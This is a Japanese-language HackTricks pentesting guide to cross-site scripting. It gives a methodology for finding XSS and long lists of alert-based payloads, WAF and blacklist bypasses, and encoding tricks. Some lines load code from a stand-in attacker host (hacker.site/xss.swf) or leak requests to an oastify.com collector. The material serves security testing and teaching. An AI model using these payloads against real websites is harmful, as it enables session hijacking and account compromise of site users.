hacktricks/pentesting-web/xss-cross-site-scripting/README.md

80 KiB
Raw Blame History

XSS (クロスサイトスクリプティング)

/

バグバウンティのヒント: Intigriti登録しましょう。ハッカーによって作られたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

方法論

  1. 制御できる任意の値(パラメーターパスヘッダー?、クッキー?)がHTMLに反映されているか、またはJSコードによって使用されているかを確認します。
  2. 反映/使用されているコンテキストを見つけます
  3. 反映されている場合
    1. 使用できる記号を確認し、それに応じてペイロードを準備します:
      1. 生のHTMLで:
        1. 新しいHTMLタグを作成できますか
        2. javascript:プロトコルをサポートするイベントや属性を使用できますか?
        3. 保護をバイパスできますか?
        4. クライアントサイドのJSエンジン(AngularJSVueJSMavo...)によってHTMLコンテンツが解釈されている場合、クライアントサイドテンプレートインジェクションを悪用できる可能性があります。
        5. JSコードを実行するHTMLタグを作成できない場合、ダングリングマークアップ - HTMLスクリプトレスインジェクションを悪用できますか?
      2. HTMLタグ内で:
        1. 生のHTMLコンテキストに出ることができますか
        2. JSコードを実行する新しいイベント/属性を作成できますか?
        3. あなたが閉じ込められている属性はJS実行をサポートしていますか
        4. 保護をバイパスできますか?
      3. JavaScriptコード内で:
        1. <script>タグから脱出できますか?
        2. 文字列から脱出して異なるJSコードを実行できますか
        3. 入力はテンプレートリテラル``にありますか?
        4. 保護をバイパスできますか?
    2. 実行されているJavascript 関数
      1. 実行する関数の名前を指定できます。例:?callback=alert(1)
  4. 使用されている場合
    1. DOM XSSを悪用することができます。入力がどのように制御されているか、および制御された入力が任意のシンクによって使用されているかに注意してください。

複雑なXSSに取り組む際には、以下について知っておくと役立つかもしれません

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

反映された値

XSSを成功させるためには、まずあなたが制御できる値がウェブページに反映されていることを見つける必要があります。

  • 中間的に反映される:パラメーターの値やパスがウェブページに反映されていることがわかった場合、Reflected XSSを悪用できる可能性があります。
  • 保存されて反映される:あなたが制御できる値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、Stored XSSを悪用できる可能性があります。
  • JS経由でアクセスされるあなたが制御できる値がJSを使用してアクセスされていることがわかった場合、DOM XSSを悪用できる可能性があります。

コンテキスト

XSSを悪用しようとするとき、まず知る必要があるのはあなたの入力がどこに反映されているかです。コンテキストに応じて、異なる方法で任意のJSコードを実行できます。

生のHTML

入力が生のHTMLページに反映されている場合、JSコードを実行するためにいくつかのHTMLタグを悪用する必要があります:<img , <iframe , <svg , <script ... これらは使用可能な多くのHTMLタグの一部に過ぎません。
また、クライアントサイドテンプレートインジェクションも念頭に置いてください。

HTMLタグ属性内

入力がタグの属性の値内に反映されている場合、以下を試すことができます:

  1. 属性とタグから脱出その後、生のHTMLになります、悪用するための新しいHTMLタグを作成します"><img [...]
  2. 属性からは脱出できるがタグからは脱出できない場合(>がエンコードされているか削除されている、タグに応じてJSコードを実行するイベントを作成できます:" autofocus onfocus=alert(1) x="
  3. 属性から脱出できない場合("がエンコードされているか削除されている)、値が反映されているどの属性によって、値の全体を制御しているか、一部だけを制御しているかに応じて、それを悪用できます。として、onclick=のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深いhref属性で、javascript:プロトコルを使用して任意のコードを実行できます:href="javascript:alert(1)"
  4. 入力が"悪用できないタグ"内に反映されている場合、accesskey トリックを試して脆弱性を悪用できます(これを悪用するにはある種のソーシャルエンジニアリングが必要になります):" accesskey="x" onclick="alert(1)" x="

JavaScriptコード内

この場合、入力はHTMLページの**<script> [...] </script>** タグ間、.jsファイル内、または**javascript:** プロトコルを使用する属性内に反映されています:

  • <script> [...] </script> タグ間に反映されている場合、入力がどのような引用符の中にあっても、</script>を注入してこのコンテキストから脱出することができます。これは、ブラウザーが最初にHTMLタグを解析し、その後で内容を解析するため、HTMLコード内に注入された</script>タグが気づかれないためです。
  • 最後のトリックが機能しない場合、反映されているのがJS文字列内であれば、文字列から脱出し、コードを実行し、JSコードを再構築する必要があります(エラーがあると実行されません):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • テンプレートリテラル内に反映されている場合、${ ... }構文を使用してJS式を埋め込むことができます:var greetings = `Hello, ${alert(1)}`
  • Unicodeエンコード有効なjavascriptコードを書くために機能します:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoistingは、使用された後に関数、変数、またはクラスを宣言する機会を指し、宣言されていない変数や関数を使用しているXSSを悪用するシナリオを利用できます。
詳細については、次のページをご覧ください:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Javascript 関数

いくつかのウェブページには、実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。野生でよく見られる例は、次のようなものです:?callback=callbackFunc

ユーザーが直接提供したものが実行しようとしているかどうかを知る良い方法は、パラメータ値を変更すること(例えば 'Vulnerable' に)で、エラーがコンソールに表示されるかどうかを確認することです:

もし脆弱であれば、?callback=alert(1) の値を送信するだけで アラートをトリガー することができるかもしれません。しかし、このエンドポイントは通常、文字、数字、ドット、アンダースコア([\w\._])のみを許可するために内容を検証します。

それでも、その制限があってもいくつかのアクションを実行することは可能です。これは、有効な文字を使用して DOM内の任意の要素にアクセス できるためです:

これに役立つ関数は次のとおりです:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

以下は、直接Javascript関数をトリガーする試みです: obj.sales.delOrders

しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。同じオリジンの他のページには、より多くのアクションを実行するためのより興味深いDOMがあります。

したがって、異なるDOMでこの脆弱性を悪用するために、Same Origin Method Execution (SOME) の悪用が開発されました:

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

JSコードが攻撃者によって制御されたデータを安全でない方法で使用しています。例えば location.href のような。攻撃者はこれを悪用して任意のJSコードを実行する可能性があります。

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

この種のXSSはどこにでも見つかる可能性があります。これらはクライアントがWebアプリケーションを悪用するだけでなく、任意の コンテキストに依存します。この種の任意のJavaScript実行は、RCEを取得したり、クライアントやサーバーで任意の ファイル読むなど、さらに悪用される可能性があります。
いくつかの:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAFバイパスエンコーディング画像

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

生HTML内への注入

入力がHTMLページ内で反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、<を使用して新しいタグを作成できるかどうかを確認することです。その文字HTMLエンコードされているか、削除されているか、または変更なしに反映されているかを確認するために、単に反映してみてください。最後のケースのみがこのケースを悪用できます
この場合も、Client Side Template Injection念頭に置いてください
注: HTMLコメントは** --> または ****--!>** を使用して閉じることができます。

この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

タグ/イベントのブルートフォース

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet にアクセスし、クリップボードにタグをコピー をクリックします。その後、Burp Intruderを使用してすべてを送信し、WAFによって悪意のあるものとして検出されなかったタグがあるかどうかを確認します。使用できるタグが見つかったら、有効なタグを使用して すべてのイベントをブルートフォース できます(同じウェブページで クリップボードにイベントをコピー をクリックし、前と同じ手順を実行します)。

カスタムタグ

有効なHTMLタグが見つからない場合は、カスタムタグを 作成して onfocus 属性でJSコードを実行することができます。XSSリクエストでは、URLの最後に # を付けてページにそのオブジェクトに フォーカス し、コードを 実行 させる必要があります:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

ブラックリストバイパス

何らかのブラックリストが使用されている場合、いくつかの簡単なトリックでバイパスを試みることができます:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (小さなXSS)

{% hint style="info" %} 異なる環境のためのより小さなXSS payloadはこちらで見つけることができます、そしてこちら。 {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

最後のものは、2つのユニコード文字を使用して5つに展開しますtelsr
これらの文字の詳細はこちらで見つけることができます。
どの文字に分解されるかを確認するには、こちらをチェックしてください。

クリックXSS - クリックジャッキング

脆弱性を悪用するためにユーザーがリンクや事前に入力されたデータがあるフォームをクリックする必要がある場合、ページが脆弱であればクリックジャッキングを悪用することを試みることができます。

不可能 - ダングリングマークアップ

HTMLタグを作成してJSコードを実行する属性を持つことが不可能だと思う場合は、ダングリングマークアップをチェックするべきです。なぜなら、JS コードを実行せずに脆弱性を悪用することができるからです。

HTMLタグ内への注入

タグ内/属性値からの脱出

HTMLタグ内にいる場合、最初に試すことができるのは、タグから脱出し、前のセクションで述べた技術のいくつかを使用してJSコードを実行することです。
タグから脱出できない場合は、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、次のようなペイロードを使用しますこの例では、属性から脱出するためにダブルクォートが使用されていますが、入力が直接タグ内に反映される場合はそれらは必要ありません

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

スタイルイベント

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

属性内部

属性から脱出できない場合でも("がエンコードされたり削除されたりしている場合)、どの属性に値が反映されているか、また、値の全てを制御しているのか一部だけを制御しているのかによって、それを悪用することができます。例えばonclick=のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。
もう一つの興味深いhref属性で、javascript:プロトコルを使用して任意のコードを実行することができます:href="javascript:alert(1)"

HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス

HTMLタグ属性の値内のHTMLエンコードされた文字実行時にデコードされます。したがって、以下のようなものが有効になります(ペイロードは太字です):<a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

あらゆる種類のHTMLエンコードが有効であることに注意してください:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URLエンコードも機能することに注意してください

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

イベント内のバイパスをUnicodeエンコードを使用して行う

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

属性内の特別なプロトコル

そこでは、javascript:data: プロトコルを使用して、任意のJSコードを実行することができます。一部はユーザーの操作を必要とし、一部は必要としません。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

これらのプロトコルを注入できる場所

一般的にjavascript: プロトコルは href 属性を受け入れるすべてのタグで使用できます そして、src 属性を受け入れるタグのほとんどで使用できます(ただし <img では使用できません)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

その他の難読化のコツ

この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのコツも有効です。なぜなら、属性の内部にいるからです。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

さらに、これらのケースには別の便利なトリックがあります:javascript:...内の入力がURLエンコードされていても、実行される前にURLデコードされます。 そのため、シングルクォートを使用して文字列から脱出する必要があり、それがURLエンコードされているのを見た場合、それは問題ではありません。 実行時にはシングルクォートとして解釈されます。

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
**両方を使用しようとすると** `URLencode + HTMLencode` をどの順番でエンコードしても **ペイロード** は**機能しません**が、ペイロードの**内部で混在させることは可能です**。

**`javascript:` での Hex と Octal エンコードの使用**

`iframe``src` 属性内で **Hex****Octal エンコード** を使用して **HTML タグを宣言し、JS を実行する** ことができます:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

リバースタブナビング

<a target="_blank" rel="opener"

任意の <a href= タグにURLを注入できる場合、そのタグに target="_blank" と rel="opener" 属性が含まれている場合、この挙動を利用するための以下のページを確認してください

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

イベントハンドラーのバイパスについて

まず、役立つ "on" イベントハンドラー についてはこのページ (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) を確認してください。
もし何らかのブラックリストがイベントハンドラーの作成を防いでいる場合は、以下のバイパスを試してみてください:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

こちらから、hidden inputsを悪用することが可能になりました

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

メタタグ内で:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: 隠された属性内で**XSSペイロードを実行**することができます。そのためには、**被害者**に**キーの組み合わせ**を押させることを**説得**する必要があります。Firefox Windows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。access key属性で異なるキーを使用することで、異なるキーの組み合わせを指定することができます。こちらがベクターです:
<input type="hidden" accesskey="X" onclick="alert(1)">

XSSペイロードは次のようになります" accesskey="x" onclick="alert(1)" x="

ブラックリストバイパス

このセクション内ですでにさまざまなエンコーディングを使用したトリックが公開されています。戻って、以下の使用方法を学びましょう:

  • HTMLエンコーディングHTMLタグ
  • Unicodeエンコーディング有効なJSコードになり得る \u0061lert(1)
  • URLエンコーディング
  • 16進数および8進数エンコーディング
  • データエンコーディング

HTMLタグと属性のバイパス

前のセクションのブラックリストバイパスを読む。

JavaScriptコードのバイパス

次のセクションのJavaScriptバイパスブラックリストを読む。

CSSガジェット

もしXSSを非常に小さな部分で見つけた場合、何らかのインタラクションが必要な場合例えば、onmouseover要素を持つフッターの小さなリンク、その要素が占めるスペースを変更してリンクが発火する確率を最大化することができます。

例えば、次のようなスタイリングを要素に追加できます:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

しかし、WAFがstyle属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、

.test {display:block; color: blue; width: 100%}

#someid {top: 0; font-family: Tahoma;}

が見つかった場合、リンクを次の形に変更できます

<a href=”” id=someid class=test onclick=alert() a=””>

このトリックはhttps://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703から取られました。

JavaScriptコード内への注入

これらのケースでは、入力.jsファイルのJSコード内や<script>...</script>タグの間、またはJSコードを実行できるHTMLイベントやjavascript:プロトコルを受け入れる属性の間で反映されることになります。

<script>タグのエスケープ

もしコードが<script> [...] var input = 'reflected data' [...] </script>内に挿入されている場合、<script>タグを簡単にエスケープすることができます:

</script><img src=1 onerror=alert(document.domain)>

JSコード内

<>がサニタイズされている場合でも、入力が配置されている文字列からエスケープし、任意のJSを実行することができます。JSの構文を修正することが重要です。なぜなら、エラーがある場合、JSコードは実行されません

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

テンプレートリテラル ``

文字列を構築するために、JSはシングルクォートとダブルクォートの他にバックティック `` も受け入れます。これはテンプレートリテラルとして知られており、${ ... } 構文を使用してJS式を埋め込むことができます。
したがって、入力がバックティックを使用するJS文字列内で反映されていることがわかった場合、${ ... } 構文を悪用して任意のJSコードを実行することができます:

これは以下を使用して悪用できます:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

エンコードされたコード実行

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicodeを使用したJS実行

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript ブラックリスト回避技術

文字列

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特別なエスケープ

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

JSコード内のスペース置換

<TAB>
/**/

JavaScriptコメントJavaScriptコメント トリックより)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScriptの改行JavaScriptの改行 トリックより)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScriptの空白

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

コメント内のJavascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

括弧なしのJavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意の関数alertの呼び出し

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM 脆弱性

攻撃者が制御するデータを安全でない方法で使用している JS コード があります。例えば location.href です。攻撃者はこれを悪用して任意の JS コードを実行する可能性があります。
DOM 脆弱性の説明が広範囲にわたるため、このページに移動しました

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

ここでは、DOM 脆弱性が何であるか、どのように引き起こされるか、そしてどのように悪用されるかについての詳細な説明があります。
また、該当する投稿の最後にはDOM Clobbering 攻撃についての説明があることを忘れないでください。

その他のバイパス

正規化されたユニコード

サーバー(またはクライアント側)で反映された値ユニコード正規化されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。ここで例を見つけてください

PHP FILTER_VALIDATE_EMAIL フラグのバイパス

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails バイパス

RoR mass assignment のため、クォートがHTMLに挿入され、その後クォートの制限がバイパスされ、追加のフィールドonfocusがタグ内に追加できます。
例として(このレポートから)、以下のペイロードを送信する場合:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
キー "Key" と値 "Value" は次のようにエコーされます:
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

以下の属性が挿入されます:

XSSが発生します。

特別な組み合わせ

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
